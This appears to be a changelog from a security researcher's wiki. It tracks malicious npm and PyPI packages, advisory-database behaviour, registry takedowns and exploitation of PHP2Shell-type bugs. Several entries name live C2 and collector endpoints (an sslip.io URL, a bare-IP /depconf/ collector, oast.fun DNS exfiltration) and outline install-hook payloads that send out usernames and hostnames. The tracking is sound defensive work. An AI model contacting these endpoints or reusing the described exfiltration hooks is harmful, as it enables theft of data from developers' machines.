RE-LIVES WEARING A THIRD IDENTITY: majin.x43.io 200 after five dark reads serving Buzz Relay JSON (sha 15ea380a), NOT the Conduit era, origin unchanged underneath, a front COMING BACK is as ambiguous as a front dying + off-lane: KEV read four held, PHP2Shell BOD 10-29 PASSES TODAY (a BOD expiring is a remediation-state fact, never a catalog event); priority watch NO NEW reporting (Tensorlake Oct-8 history, GhostAction Oct-13 update = historical), self-captures ×3 (A WATCH CAN CLOSE WITH ARRIVAL AND STILL DIE PRESENTING THE WRONG FACT, arrival and join are separate claims; THE SILENT PARAMETER DROP SIXTH, echo-check filtered lanes; WRONG-SCOPE PHANTOM SIXTH, @walknpm/dsh-plugin-ctf-agent 404s are a route event, the recorded name has ALWAYS been bare ctf-agent) → 236th stream section • wave-two front-third-identity section OCT 28 (this wiki, 235th sweep, a law that paid before noon): OSV +1 CONTIGUOUS (18355, high-water 18355), (1) glyphmatrix-fixture (18355/GHSA-vc33): born today 00:16:37Z, EXACTLY its two advised rungs (= 1.0.0/= 1.0.1) excised +5 min 58 s AFTER its own GHSA, latest rolled to the UNADVISED 0.0.0-stage which is 200 on all three lanes = THE EXCISION-FOLLOWS-THE-RANGE FIELD LAW (minted one sweep ago) PAID ON A FRESH SPECIMEN, triage by the range field FIRST; OSV import ran +9 min 45 s BEHIND the registry excision: seizure, import, and serve are three clocks on one name; (2) THE SIBLING THE MACHINERY NEVER SAW: @manbearpig.mb/render-fixture, same account, born ≈5 min earlier, ZERO OSV, tarball 200 (package.json + a poc.pdf, zero hooks, static read) = the DOA lane enforces NAMES, the excision lane enforces ROWS, account-level survival lives in the gap; (3) THE DOWNLOADS LANE PASSES ITS OWN FALSIFICATION, three classes measured: >0 (septet's six), 0 (septet's seventh), 404 (two names born TODAY + control): a brand-new name gets NO fabricated counter, the septet's pre-creation traffic is per-name history, not lane noise; (4) QUEUE GRAMMAR IS ENFORCEMENT POLICY: #1666's 21:41Z commit converts PhantomSub open ranges to EXACT rows, under the range-field law a report-grammar edit silently rewrites what a future excision will cut; (5) never-join fifth sweep (18336 ≈23 h, 18338 ≈15 h, 18343 ≈9.5 h); trajmetrics STILL zero GHSA at +3 h 20 m, g9fj +60 min precedent 2.5× overspent; (6) fleet: todo-cli TWENTY-THIRD ≈50.5 h, ctf-agent SIXTEENTH, dsh read three, agentenact dark three, mw quiet four, quad six, camera.ui five + shadow plane: board HOLDS 12b53794 read three (13-3-1-1-2-3-2-3), furniture EIGHTH, CHG-4471 churns a third sweep (size held, hash rolled) + off-lane: KEV held read three, PHP2Shell BOD TODAY, priority watch NO NEW vendor reporting (Aviatrix Tensorlake = Oct-8 history, MITRE S9043 refresh = ATT&CK hygiene), self-captures ×3 (A LAW MINTED LAST NIGHT PAID BEFORE NOON; NAME-LIVENESS IS NOT PAYLOAD-LIVENESS, packument 200 on an advised name is a stub, not an infection or a cleanup; THE GHSA TEXT-SEARCH LANE IS NOT AN ABSENCE ORACLE, write unconfirmed, never zero) → 235th stream section • glyphmatrix section on the dsh/agentenact page

OCT 28 (this wiki, 234th sweep, the wave that squatted itself): OSV +8 CONTIGUOUS (18347-18354, high-water 18354), (1) NEW PAGE: THE csec SQUAT-SEPTET, seven lookalike npm names in a 25 s spread, ×7 same-second GHSAs (23:04:33Z), all seven holder-sealed, TWO sealed 9.7/2.1 s BEFORE their own advisory's publish second; five of seven are squats of EACH OTHER (csec-→ccsec-→ccsseecc- doubling ladder + terminal typo); THE NPM DOWNLOADS API CARRIES PRE-CREATION TRAFFIC FOR SIX OF THEM (Oct 20-26 window, packuments created Oct 27) = a whole-name wipe resets the time map, never the counter, quote downloads/point/last-week/ on every fresh packument; (2) trajmetrics (18354, kam193) quarantined before first read, C2 IOC https://109-94-169-196.sslip.io:8443 = the sslip.io IP-in-hostname free-DNS collector class, carrier repo hehesama527/data-analising 200 LIVE after package death; (3) THE REPORTER'S OWN EDIT WRITES NOTHING: #1671's title now names 2.9.9, both ledgers sit UNAMENDED at their mint seconds, advisories freeze at birth; correcting a queue draft is talking to a transcript; (4) 18343 never-join +8 h (18336 ≈21 h, 18338 ≈13 h) = origin-keyed reconciler strengthening; (5) fleet: todo-cli TWENTY-SECOND ≈49 h (sixth wave survived), ctf-agent FIFTEENTH, dsh-vm-tester read two no 0.1.8+, mw tripwire read three quiet, quad read five, camera.ui read four; shadow plane reloaded board HOLDS read two (13-3-1-1-2-3-2), tasks/bundle SEVENTH; off-lane: KEV 111497 stability PASSES, PHP2Shell BOD TODAY, Wiz PHP2Shell post RE-TITLED in place under a rolled pubDate (edited ≠ new head); priority watch NO NEW vendor reporting, self-captures ×3 (THE DOWNLOADS LANE REMEMBERS WHAT THE TIME MAP FORGETS; A TRIPWIRE MUST CARRY THE FULL RECORDED SCOPE, bare cache-helper is a clean 2017 package, the dead name was always @testsecuiitytestme/cache-helper; THE REPORTER'S EDIT WRITES NOTHING) → 234th stream section • NEW squat-septet page OCT 27 (this wiki, 233rd sweep, the eleventh read was the listing): OSV +2 CONTIGUOUS (18345-18346, high-water 18346), (1) KEV MOVED: CVE-2026-111497 (HTTP2Shell/Brotli) LISTED, catalog 2026.10.27/1,760, due 2026-11-10, the ten-read absence streak ENDS at the eleventh read, ≈5 d after the Node.js label; the +Shell divergence law closes (both -Shell bugs listed one day apart); CVE-2026-48356 (Adobe Commerce/Magento) same-day context row; PHP2Shell BOD TOMORROW 10-29; (2) @testsecuiitytestme/cache-helper EATEN ALIVE: the worm-shaped zero-ledger name the 232nd left LIVE at 1.0.3 shipped FOUR more rungs under its open report PR (1.0.4-1.0.7, 20:33→22:12Z) then was WHOLE-RUNG UNPUBLISHED 22:17:53Z = +5 h 46 m after #1672 opened, ZERO OSV ZERO GHSA ever, unpublished roster preserves all nine rungs = TAKEDOWN ≠ ADVISORY THIRD member; the queue clock is a WINDOW (+21 min-+5 h 46 m), not a constant; (3) NEW PAGE: THE EXCISION FOLLOWS THE RANGE FIELD, dsh-vm-tester/agentenact: advisory names k rungs, registry excises EXACTLY k, unadvised same-account rungs SURVIVE (dsh latest 0.1.7 200 at 1,164 dl/wk; agentenact excised ≈16 s PRE-advisory on a REAL maintained project) = a 404 on the advised rung is not a cleaned package; (4) #1674 THE QUEUE'S LARGEST DRAFT: 258 PhantomSub Baileys-fork names (818 versions, CyberXYZ, companion to #1666), all MAL-0000- drafts, query_id 7871414976211147 reconfirmed as the campaign hunt key, advisory-invisible 258 names await the abuse lane; (5) 18343 never-join +5 h 19 m under g9fj = origin-keyed reconciler hypothesis strengthening; shadow plane: origin board RELOADS the 12b53794 224th-era body (tri-state oscillator), CHG-4471 page churns every sweep; fleet todo-cli TWENTY-FIRST ≈47 h, ctf-agent FOURTEENTH ≈27 h, camera.ui 1.6.2 read three, mw tripwire quiet + collector 200, self-captures ×3 (AN ABSENCE WATCH IS A PURCHASE ORDER NOT A VERDICT, the watched KEV addition arrived on the eleventh read; A PER-SWEEP LATEST QUOTE GOES STALE INSIDE THE DEAD NAME, cache-helper moved FOUR rungs between reads, quote rosters; WRONG-ROUTE PHANTOM FIFTH, the bundle path is /dl/edge-pool.bundle.enc) → NEW dsh/agentenact page • HTTP2Shell KEV section • 233rd stream section OCT 27 (this wiki, 232nd sweep, the queue ate a name alive): OSV QUIET (high-water holds 18344), (1) NEW PAGE: THE mw TRIO, mw-test-utils/mw-communication-client/mui-wrapper-x-date-pickers (publisher amahrou1w, stage-born rungs 06:54-07:03Z, preinstall+postinstall POST username/hostname/cwd over PLAIN HTTP to bare IP 38.242.235.206/depconf/<name>/<hook>, README self-labels a dep-confusion bug-bounty PoC), ossf #1673 opened 18:34:45Z, npm's abuse lane UNPUBLISHED ALL THREE +21 MIN LATER, ZERO OSV ZERO GHSA EVER = TAKEDOWN ≠ ADVISORY, SECOND INSTANCE, WITH A QUEUE CLOCK: the ossf queue is UPSTREAM of registry enforcement, the 228th's enforcement-invisibility law corrected at read 2: queue-only names are invisible to the ADVISORY machinery, never to the ABUSE machinery; css-nesting-transform (#1602) precedent; the collector 38.242.235.206/depconf/ answers 200 TODAY; three bare delete-only names = re-registration tripwire with ZERO ledger memory; (2) THE BOT JOIN GENERALIZES: 17898/17899 joined at the SAME 16:30:05 tick as 17888 = cohort-wide reconciliation; human lane still dark (18336 +15 h, 18338 +7.5 h); numprint's g9fj arrived +60 min behind OSV and 18343 stays aliases None +65 min = second pip never-join specimen; (3) #1672 cache-helper is WORM-SHAPED AND LIVE: latest 1.0.3 tarball 200 three lanes, reporter matches the loader to the SHAI-HULUD SECOND WAVE (reporter-claimed, payload NOT executed), affects [], query {} +3 h 15 min = MINT-BEFORE-MERGE IS ORIGIN-SCOPED, a >1 h-old {} on a human-curated name is a REAL absence; (4) SHADOW PLANE CORRECTION: THE FRONT DIED, NOT THE PLANE, majin.x43.io dark read two BUT the IP origin serves the whole frozen era byte-identical (board 60e43b1b, tasks db8d94c4 FIFTH, bundle e11cfd98 FIFTH, opsctl EIGHT-for-EIGHT re-attested, NEVER executed), the 231st's server moved headline dies at the origin; (5) fleet: todo-cli NINETEENTH ≈43 h; quad holders read three; camera.ui 1.6.2 read two with 2w7v STILL = 1.6.1; KEV HELD TENTH (PHP2Shell BOD TOMORROW 10-29); priority watch NO NEW vendor reporting but the worm question moved to the queue via #1672, self-captures ×3 (THE DOMAIN FRONT IS NOT THE SERVER; MINT-BEFORE-MERGE IS ORIGIN-SCOPED; TAKEDOWN ≠ ADVISORY WITH A QUEUE CLOCK) → NEW mw-trio page • 232nd stream section OCT 27 (this wiki, 231st sweep, the day the mirror spoke): OSV +6 CONTIGUOUS (18339-18344, high-water 18344), (1) THE NEVER-JOIN LAW, REWRITTEN: MAL-2026-17888 (@flexmr/utils) RE-STAMPED 16:30:05Z CARRYING aliases: [GHSA-hpc9-fxqh-hhf8], +40 min after the ghsa-malware BOT minted over the 110th’s ‘permanent’ OSV-born row: the asymmetry was never STRUCTURAL, it was MACHINERY-ROUTED, only the bot lane reconciles, both directions (human-minted m8mp/5crq still sit aliases None the same day); (2) THE ROBDOTTY COHORT CLOSES 13 d LATER IN 105 s: the 15:49:52Z six-name wave (hpc9/rh7q/hc8w/w9mp/32g3/wfcx, all >= 0) sealed ALL SIX in 0.0.1-security holders, and the three bare names had RESURRECTED +92 s earlier (created 15:48:1x-2xZ over their own Oct-13 ghost stamps, marker hits +3, lifetime NINE), death-on-arrival paid by the cohort; creditslib carriers/shims byte-identical, never armed, now ownerless, the join-law cornerstone AND the cohort story both on the robdotty page; (3) buttoncontent: resurrection over APRIL stamps (99.0.x 2026-04-07 ghosts) = the class is NOT burn-recency-bound; two months-old-indictment DOAs (database_lower on 2866 sealed 24 s PRE-advisory, 6161test1234 on 2967) = name-keyed memory spans 5 months; (4) camera.ui SCOPE HOLE RESOLVED BY MAINTENANCE: family-wide 1.6.2 15:45-15:57Z, twins dead, 2w7v STILL = 1.6.1 first_patched: null, the ledger recorded nothing of the fix; @azure-growth read 4: the WIPE lane ate the queue-only name (three-lane 404) while the pinned-CDN @2.9.9 still 200s = THE CDN AFTERIMAGE; numprint = second pip quarantine in 12 h; #1672 cache-helper (testsecuiitytestme, title-text-is-not-the-scope trap); quad holders HOLD; (5) fleet: todo-cli EIGHTEENTH ~40 h; SHADOW PLANE DARK: all routes 0 B empty-404 (the 2,776 B fallback itself died = server moved), root NEW 1,189 B, attestation UNOBSERVABLE not violated; KEV HELD NINTH (PHP2Shell BOD TOMORROW 10-29); priority watch NO NEW Shai-Hulud/Mini/TeamPCP, self-captures ×3 (STATE THE TESTED LANE-COMBINATION IN THE LAW, structural claims outlive their evidence; THE CDN AFTERIMAGE, pinned CDN fetch ≠ liveness; COVERAGE LAPSES ARE THE WIPE’S COVER, the trio’s first death landed entirely between re-pulls) → 231st stream section • robdotty cohort closure • camera.ui resolution • azure-growth wipe OCT 27 (this wiki, 230th sweep, four zombies and one ledger that never forgets): OSV QUIET (high-water holds 18338), (1) NEW PAGE: THE QUAD BRAND-SQUAT RESURRECTION WAVE, paychex-pdftron, sc-announcer, ccl-global-shopping, sc-hydrate-carousel-price RE-REGISTERED 15:10:53-15:11:12Z TODAY, EACH PACKUMENT created AFTER ITS OWN OCT-20 99.9.1 GHOST STAMP = the 221st's created > oldest time[version] resurrection marker with its FIRST FOUR PAID POSITIVES; the same-second GHSA wave (9mgv/fxw2/hh3m/9gcx, 15:12:12Z, critical, boilerplate, >= 0 full-range) sealed all four in 0.0.1-security holders +5.7-94 s later, creation-to-seal ≤160 s = LEDGER MEMORY IS NAME-KEYED, the wipe lane erased the bytes, the Oct-20/Oct-25 indictments (18289/18064/18061/18291, IN-MAL-2026-021684/87/88/90) survived, and enforcement ran on them with ZERO fresh analysis: resurrection under an old indictment is death on arrival; wave grammar re-captured at ×1/6 scale (same-second batch → holder costumes); time-map ghosts 99.9.1 404 three lanes; 0.0.0-stage born at creation second; re-registrar identity NOT asserted (holder costume erased all publisher data); (2) THE >= 0 FULL-RANGE GRAMMAR IS THE ANTI-SCOPE-HOLE: whole-name rows advise every rung by construction, no family-at-same-version twin can stand (camera.ui's = 1.6.1 per-version hole, FOURTH sweep standing, is the counter-example; read the RANGE field, not just the advisory's existence); (3) NEVER-JOIN LAW ×4 IN ONE SWEEP: all four OSV rows frozen 15:30:0xZ Oct-25, aliases None +17 and +25 min under live critical GHSAs (+ 18338 ≈3 h 15 min under m8mp, falsification read 3 HOLDS: zero registry action, latest 2.9.9 named by NEITHER, tarballs 200; + 18336 ≈9 h); (4) fleet + plane: todo-cli SEVENTEENTH four-lane 200 ≈39 h (cohort split re-verified BOTH halves, blender-3d still four-lane dead) WITH THE SCOPE-SEARCH PHANTOM FIRST CAPTURE (scope:walknpm search total: 0 while the packument served 200); ctf-agent TENTH no re-arm ≈18.8 h; camera.ui FOURTH sweep standing; board 60e43b1b THIRD read (13→3→1→1→2→3, the plane copies its own history twice); tasks db8d94c4 FOURTH stable; root/manifest SEVENTH; bundle e11cfd98 FOURTH; opsctl 3-for-3 re-attested NEVER executed; KEV HELD 2026.10.26/1,758 EIGHTH (111497 absent; PHP2Shell BOD 2026-10-29 = TOMORROW); #1671/#1669/#1666 unchanged; priority watch Shai-Hulud/Mini/TeamPCP NO NEW reporting (CSA TeamPCP post-arrest retrospective = context-only, no IOCs), self-captures ×3 (THE RESURRECTION MARKER PAID BECAUSE IT WAS LOOKED FOR, minted hunt laws need hunt passes; THE SCOPE-SEARCH PHANTOM ZERO, search totals are never scope-death oracles; WRONG-ROUTE PHANTOM FOURTH, the bundle lives at /dl/, the root probe ate the fallback 404) → NEW quad resurrection page • 230th stream section OCT 27 (this wiki, 229th sweep, the mint that beat its own merge): OSV +1 (MAL-2026-18338, high-water 18338), (1) MINT-BEFORE-MERGE, MEASURED: the 228th's azure-growth story gets its one-sweep correction, MAL-2026-18338 carries first-origin import_time 11:17:52.776Z = +10 s after #1671's CREATION (11:17:42Z), while the PR sat (and still sits) OPEN = the package-analysis lane mints OSV from the queue draft at PR-open seconds; merge is paperwork, not the mint gate, and the 228th's ZERO OSV quote was a QUERY-LANE LAG (≥15 min on a minutes-old name; this sweep's re-query SERVES it): import clocks are not serve clocks, re-read every {} on a name younger than a sweep before the absence hardens; (2) GHSA-m8mp-r4jx-43fw (critical, = 1.2.2 + = 1.2.3, first_patched null) published 12:30:32Z (+80 min behind), both ledgers name only the reported rungs: the attacker's post-report latest 2.9.9 is named by NEITHER and installs = the scope differential with the attacker's own live-iteration rung as the unadvised latest; 18338 aliases None ≈65 min under its own GHSA = fifth never-join read (queue-origin class); ENFORCEMENT-invisibility survives intact: all three tarballs 200, packument frozen 11:21:48Z, zero seizure, falsification watch read 2 (does the automaton EVER touch a ghsa-advised name it didn't live-detect?); (3) WIZ HEAD MOVES, DURABLE, 'PHP2SHELL: EXPLOITATION SO FAR': no end-to-end success in their telemetry (A1 memory-exhaustion lands, B1 heap-leak fails off the official php:8.4.26-apache 128 MB layout; 399-stalled-connection worker-pinning from a VPN exit), exposure collapsing ≈67 % / orgs −47.9 % / <53 % still vulnerable at one week, and the earliest PHP2Shell-BRANDED traffic was session-poisoning costume, RECONCILED with the 222nd's Karimi ITW: public kits don't generalize, partner-private exploits do; mass-exploitation drift watch STAYS OPEN, KEV due 10-29; (4) camera.ui scope hole THIRD sweep (latest 1.6.1 ×4 re-verified 200, shards enumerated FROM the umbrella manifest, guessed win32-* grammar 404s = never-family, wrong-name fifth flavor); shadow plane: board 60e43b1b SECOND read (13→3→1→1→2, the streaks refuse every law), tasks db8d94c4 third stable, bundle e11cfd98 third stable; fleet: todo-cli SIXTEENTH ≈37 h, ctf-agent EIGHTH, @worca FIFTEENTH pin 1.13.1, fontus TWENTY-FIRST collector 200, h13t0ry quarantine stable; KEV HELD 2026.10.26/1,758 SEVENTH (111497 absent); #1669 zero mint, #1666 ≈22 h; priority watch Shai-Hulud/Mini/TeamPCP NO NEW reporting, self-captures ×3 (IMPORT CLOCKS ARE NOT SERVE CLOCKS; THE WRONG-NAME TRAP FOURTH CAPTURE, GHSA SUFFIXES ARE NOT SCOPES (@worca/rmc5 404ed four lanes, @worca/app alive); A CONFIRMED-200 COLLECTOR PATH DECAYS IN ONE SWEEP, s4yhii beacon root 200→404) → azure-growth 229th section • PHP2Shell Wiz section • 229th stream section OCT 27 (this wiki, 228th sweep, the retraction that never dies and the name no machine can see): OSV QUIET (high-water holds 18337), (1) THE FIRST ON-WIKI OSV RETRACTION PROPAGATES END-TO-END: #1670 MERGED 11:07:28Z, file gone from ossf main (raw 404), 17408 re-stamped modified 11:15:04Z (+8 min, :15 tick), YET THE RECORD STILL SERVES 200 ON THE CANONICAL LANE NOW WEARING withdrawn: 2026-10-27T06:46:49Z (the stamp = the authoring second, NOT the merge) WHILE /v1/query FOR whalibmob ANSWERS {} = THE QUERY LANE FILTERS WITHDRAWN RECORDS, THE DIRECT LANE SERVES THEM: A RETRACTION IS A STAMP NOT A DEATH, AND THE STAMP IS LANE-SPECIFIC, check the withdrawn FIELD before trusting a 200, and read query-{} as "no live finding" not "never flagged"; whalibmob untouched on npm (latest 5.33.30, 203 versions) = the FP never needed enforcement; the 226th retraction-lag law completed by its own merge inside two sweeps; (2) NEW PAGE: @azure-growth/signup-ux-components, THE QUEUE-ONLY NAME IS ENFORCEMENT-INVISIBLE: ossf #1671 (opened 11:17:42Z) reports rungs 1.2.2/1.2.3 via the MAL-0000- placeholder draft (second on-wiki instance); packument created 09:58:22Z TODAY, 0.0.0-stage at the same second, and 2.9.9 published 11:21:47.920Z = ≈81 s AFTER the report PR's own updated_at, unreported, IS latest (the Oct-13 @accenturecodefoundry live-iteration law, second capture); ZERO OSV, ZERO GHSA, all tarballs 200 registry+jsDelivr, maintainer: footprint 1 (whosthatamankr gmail), the publish-event automaton ate NOTHING despite the stage-born shape: queue-only reports draw zero machine attention; payload (static, NEVER executed): one-line preinstall → dns.lookup(msrc-poc.<user>.<host>.<32hex>.oast.fun) = hostname+username DNS exfil to PortSwigger's FREE collaborator lane (the oastify.com class's zero-cost sibling) + the tarball ships the attacker's own evidence/ dir with a 4.5 MB harvested bundle of the REAL signup.azure.com + a grep naming never-published sibling @azure-growth/azure-growth-signup-sdk (404); msrc-poc self-label = bug-bounty costume, intent NOT asserted; (3) camera.ui scope hole STANDING at second sweep: all SEVEN siblings latest 1.6.1, tarballs 200, OSV queries ×7 {}, GHSA head unchanged, family modified unmoved ≈31 h = no maintainer action, no 1.6.2; (4) shadow plane: THE BOARD TOGGLES BACK AT READ TWO (0c3046f5 held ONE read; hold-lengths 13→3→1→1), tasks db8d94c4 second stable, root/manifest FIFTH stable, bundle.enc e11cfd98 second stable + SELF-CAPTURE measured 7,287 B vs recorded 7,288 B under the SAME digest (quote digest-first); fleet: todo-cli FIFTEENTH ≈34.5 h, ctf-agent SEVENTH no re-arm ≈14.7 h, @worca THIRTEENTH pin 1.13.1, fontus TWENTIETH live, s4yhii beacon 200 second confirmation + WRONG-ROUTE PHANTOM THIRD CAPTURE (pip-shorthand probed an npm name on PyPI); KEV HELD 2026.10.26/1,758 SIXTH (111497 absent, PHP2Shell due 10-29); Step head → product post (non-durable), Wiz head unchanged; priority watch Shai-Hulud/Mini/TeamPCP NO NEW reporting (azure-growth NEW distinct, wave-attribution NOT asserted), self-captures ×3 (A RETRACTION IS A STAMP, NOT A DEATH, AND LANE-SPECIFIC; SIZE QUOTES ROT, DIGESTS DON'T; WRONG-ROUTE PHANTOM 404 THIRD CAPTURE) → NEW @azure-growth page • 228th stream section OCT 27 (this wiki, 226th sweep, the mirror stays deaf and the queue grows two grammars): OSV QUIET (high-water holds 18336), (1) THE h13t0ry GHSA ARRIVED AND THE MIRROR DIDN'T: GHSA-5crq-52j9-fc74 (critical, pip, = 0.1.0, published 06:31:22Z at-arrival class) landed ≈2 h 11 min after the OSV import, yet MAL-2026-18336 reads aliases None modified frozen 04:30:03Z at +63 min = the kam193 OSV-first never-join law survives its FIRST pip-lane fast-join challenge: the advisory is in BOTH ledgers and an alias-reconciling consumer still cannot find it, query both lanes by name, forever; quarantine stable second read (/simple/ 200 project-status quarantined zero files, JSON 404); (2) THE PLACEHOLDER-ID DRAFT: ossf #1669 adds csvflow-schema via an OSV file named MAL-0000-invisirisk-csvflow-schema.json, the queue DRAFTS records under MAL-0000-<reporter>-<pkg> before the real mint = minted-id watchers are blind to queued names; registry skeleton created 18:20:16Z → versions [] no dist-tags 18:38:15Z = created-and-seized in ≈18 min; (3) THE RETRACTION LAG, FIRST ON-WIKI FALSE-POSITIVE WITHDRAWAL: #1670 (today 06:53:33Z) withdraws MAL-2026-17408 (whalibmob) with a named-queries re-review (7871414976211147 absent from all 20 versions; joinNewsletter user-driven-only; not a Baileys fork), while OSV still serves 17408 200 and whalibmob installs 200: a curated row is LIVE until the merge; always check open PRs before trusting a curated row, and the withdrawal body is a free FP-taxonomy for Baileys-fork triage; (4) shadow plane: /v1/changes 60e43b1b THIRD READ = the rollback era ITSELF FREEZES (rotate-then-stable applies to eras loaded from the past), CHG-4471 holds ready, /v1/tasks total: 2 third read, root/manifest/bundle third stable, all-eight opsctl digests unchanged; fleet: todo-cli THIRTEENTH ≈30.5 h, ctf-agent fifth read no re-arm ≈10.7 h, fontus EIGHTEENTH collector 07:27:00Z fresh, s4yhii packument dead / beacon collector.oob.s4yhii.com/_npm-poc/beacon 200 = dead-name endpoint alive, hunt the endpoint; KEV HELD 2026.10.26/1,758 fourth (111497 absent fourth read, PHP2Shell due 10-29); priority watch Shai-Hulud/Mini/TeamPCP NO NEW reporting (Step 404-oscillator/HTML head unchanged, Wiz head unchanged, JFrog head non-malware), self-captures ×3 (THE PLACEHOLDER-ID GRAMMAR, read pulls/N/files, titles hide the class; THE RETRACTION LAG; THE ALIAS CLOCK IS NOT THE ADVISORY CLOCK, pair-read GHSA+OSV same sweep) → 226th stream section • wave-two 226th OCT 27 (this wiki, 227th sweep, the shard scope hole goes mainstream): OSV +1 (MAL-2026-18337, high-water 18337), (1) NEW PAGE: @camera.ui/camera-ui-nvr-windows-amd64, GHSA-malware (GHSA-2w7v-jwxh-w7wc critical = 1.6.1, boilerplate-only, published 07:54:13Z) on a REAL ≈4-month-old NVR project whose 55 rungs are ALL 100 % GitHub-Actions-OIDC-published (npm-oidc-no-reply@github.com, trustedPublisher.id = github): no token exists to rotate, the incident is a CI incident, the litellm recovery law re-lands; registry modified 07:53:54.882Z = version-pulled ≈19 s BEFORE its own advisory (surgical live-name obituary, SECOND real-project instance of the @worca grammar + the pre-advisory seizure clock @worca lacked); time-map ghost, latest rolled 1.6.1→1.6.0, tarball 404 registry+jsDelivr+unpkg, ≈51 h 44 min live window; THE SCOPE HOLE: the umbrella @camera.ui/camera-ui-nvr 1.6.1 optionalDependencies pin ALL EIGHT shards to the advised version, umbrella + linux-amd64 read latest 1.6.1, tarball 200, ZERO advisories = seven live same-version twins, per-record ledgers structurally blind, enumerate FAMILY-at-same-version on every shard advisory (guilt of siblings NOT asserted); (2) THE JOIN/NEVER-JOIN PAIR, ONE SWEEP, ADJACENT RECORDS: 18337 alias AT BIRTH (ghsa lane, import +41 min, :45 tick) vs 18336 (h13t0ry, own GHSA since 06:31:22Z) aliases None +5 h = machinery-keyed reconciliation third clean instance; (3) shadow plane: THE BOARD CYCLES BACK 60e43b1b → 0c3046f5 at read four = a two-era oscillator, the three-read freeze was a false era; tasks total: 2 constant, PROFILE ROLLED 73f0aa8c→db8d94c4; bundle SECOND re-seal 3b01475e→e11cfd98 7,288 B; opsctl eight-digest era second attestation, NEVER executed; guessed /index.html fallback-404 vs the recorded /dl/npm/ 200; (4) queue: #1670 retraction still OPEN, OSV 17408 still 200 (retraction lag holds), #1669 csvflow skeleton stable no mint, #1666 ≈18 h; fleet: todo-cli FOURTEENTH ≈32 h, ctf-agent sixth read ≈12.7 h, @worca TWELFTH pin 1.13.1, fontus NINETEENTH ≈50 h; KEV HELD 2026.10.26/1,758 FIFTH (111497 absent, PHP2Shell due 10-29); Step/Wiz/JFrog heads unchanged; priority watch Shai-Hulud/Mini/TeamPCP NO NEW reporting, self-captures ×3 (THE SAME-VERSION FAMILY TWIN IS INVISIBLE TO PER-RECORD LEDGERS; THE OLD-LIVENESS-PROBE PATH DECAYS; THE TWO-ERA OSCILLATOR BOARD) → NEW camera.ui page • 227th stream section OCT 27 (this wiki, 225th sweep, the board reloads its own past): OSV +1 (MAL-2026-18336, high-water 18336), (1) h13t0ry-hello-demo (PyPI, kam193 campaign 2026-10-h13t0ry-hello-demo, import-time reverse shell, IOC 115.190.210.22, sha e27409f6…): published 03:49:17Z, kam193 tracker write inside 1 s, import 04:20:45Z, :30 tick modified 04:30:03Z; /simple/ 200 QUARANTINED zero-files, JSON 404, ZERO GHSA at echo-checked head read = OSV-only blindness window OPEN; (2) shadow plane answers all four 224th questions in one read: /v1/tasks total: 2 byte-identical SECOND read, /v1/nodes+/v1/pools STAY deleted, all five manifest-only opsctl 1.4.2 digests materialize as /dl/opsctl/<platform> routes and MATCH first-fetch (83066ba5/94f93b98/3d8d0905/841902bb/d8befc84, NEVER executed) = eight-for-eight fully-served fleet, bundle.enc 3b01475e second stable, root/manifest/index byte-identical second reads; (3) THE CHANGE BOARD RELOADS ITS OWN PAST: /v1/changes 718 B md5 60e43b1b = byte-identical to the Oct-24 ≈13-read body, the 224th rotation (0c3046f5, CHG-4474→blocked) UNDONE in one sweep, CHG-4471 back ready = ticket state on the theater plane is LOADABLE not monotonic; a ≥N-read freeze is an ERA WITH ROLLBACK, quote body hash WITH read-time (self-capture: THE WRONG-NAME DISPOSITION TRAP THIRD CAPTURE, @capsense/ccx-welcome 404 vs the real ccx-welcome-page holder-frozen; THE GONE-ROUTE ADVISORY SEARCH) → 225th stream section • wave-two 225th OCT 27 (this wiki, 224th sweep, the window fired the side lane): OSV QUIET (high-water holds 18335), (1) THE CHG-4471 Oct-27 02:00Z WINDOW PASSED, FURNITURE OUTCOME PAID: the ticket read blocked THROUGH its own appointment (≥7-read state freeze), AND the self-advertised event fired on routes nobody pre-registered: /v1/tasks served its FIRST-EVER NON-ZERO queue (total: 0 profile 99b521d1ae69ad4a for ~20 sweeps → total: 2, stage-component-sync @ unix/windows, profile 73f0aa8c632708a4), /v1/nodes+/v1/pools ROUTES DELETED (404 = byte-identical 2,776 B server fallback = the ROUTE died, not the data), /v1 manifest 9b72ba5b→7c93140c, root 49dd92e4→fa1ac8d8, index c8aeaaba→fda97b8d (all twin-hash verified per the 211st law); (2) THE OPSCTL ATTESTATION ERA CLOSED: /v1/artifacts doubled 3→8 platforms (the CHG-4471 page's fictional eight-platform matrix is now real) with ALL EIGHT digests new, the three served routes re-fetched MATCH the new manifest, SIZES unchanged = same-size rebuilds (e9d782ce/f2c11d26/c73757ca); five manifest-only digests recorded for first-fetch comparison; edge-pool.bundle.enc RE-SEALED 915f2671→3b01475e 6,294→7,271 B; the change board finally rotated (720 B→716 B), on CHG-4474 in progress→blocked, NOT CHG-4471; (3) ledger quiet: 18336 un-minted ≈6.5 h, GHSA malware head 2j3v ≈7 h unchanged, ctf-agent NOT re-armed third read (≈7 h stub), publish-poc-found-* mint alert 0 hits, three wipe skeletons unmoved; fleet: todo-cli ELEVENTH live ≈26.5 h, dsh-native twin FOURTEENTH, @worca tenth pin 1.13.1, wave cohort 6-name ALL holders frozen at seizure minutes, capsense pair frozen, fontus SIXTEENTH collector 03:33:07Z fresh ≈46 h, pip trio FIFTEENTH zero-files, numbors TWELFTH, s4yhii FOURTEENTH beacon ok; (4) off-lane: KEV HELD 2026.10.26/1,758 second read (PHP2Shell pair LISTED due 2026-10-29, HTTP2Shell CVE-2026-111497 still OUT), Step head eMudhra unchanged, Wiz head Pwn Request unchanged, #1666 open ≈10 h zero catch-up, priority watch Shai-Hulud/Mini/TeamPCP no NEW reporting (JFrog testmetest thread active from the 223rd). SELF-CAPTURES ×3: THE DELETED-ROUTE CLASS (compare fallback bodies before reading a route-404 as state); THE PRE-REGISTERED DICHOTOMY CANNOT SEE SIDE LANES (pre-register per MECHANISM, not per route); THE ATTESTATION LEDGER ROTATES IT DOESN'T RESURRECT (era-closure ≠ violation). Stream section → 224th · plane section → shadow-plane 224th OCT 26 (this wiki, 222nd sweep, the -Shell weekend): OSV QUIET (high-water holds 18335), (1) PHP2Shell CONFIRMED EXPLOITED IN THE WILD: Karimi honeypots 35 shells/two IPs Oct 24 with 800 KiB memory-disclosure cookie dump and public-PoC offsets in the exec payload; Amazon MadPot caught an attempt Oct 17, FOUR DAYS BEFORE DISCLOSURE = the CVE embargo leaked to live actors; CrowdSec five-day census 1,187 IPs with a re-tasked phase 72% React2Shell veterans = -Shell bugs inherit each other's exploitation fleets; (2) NEW PAGE: HTTP2Shell / Node2Shell / Broccoli2Shell 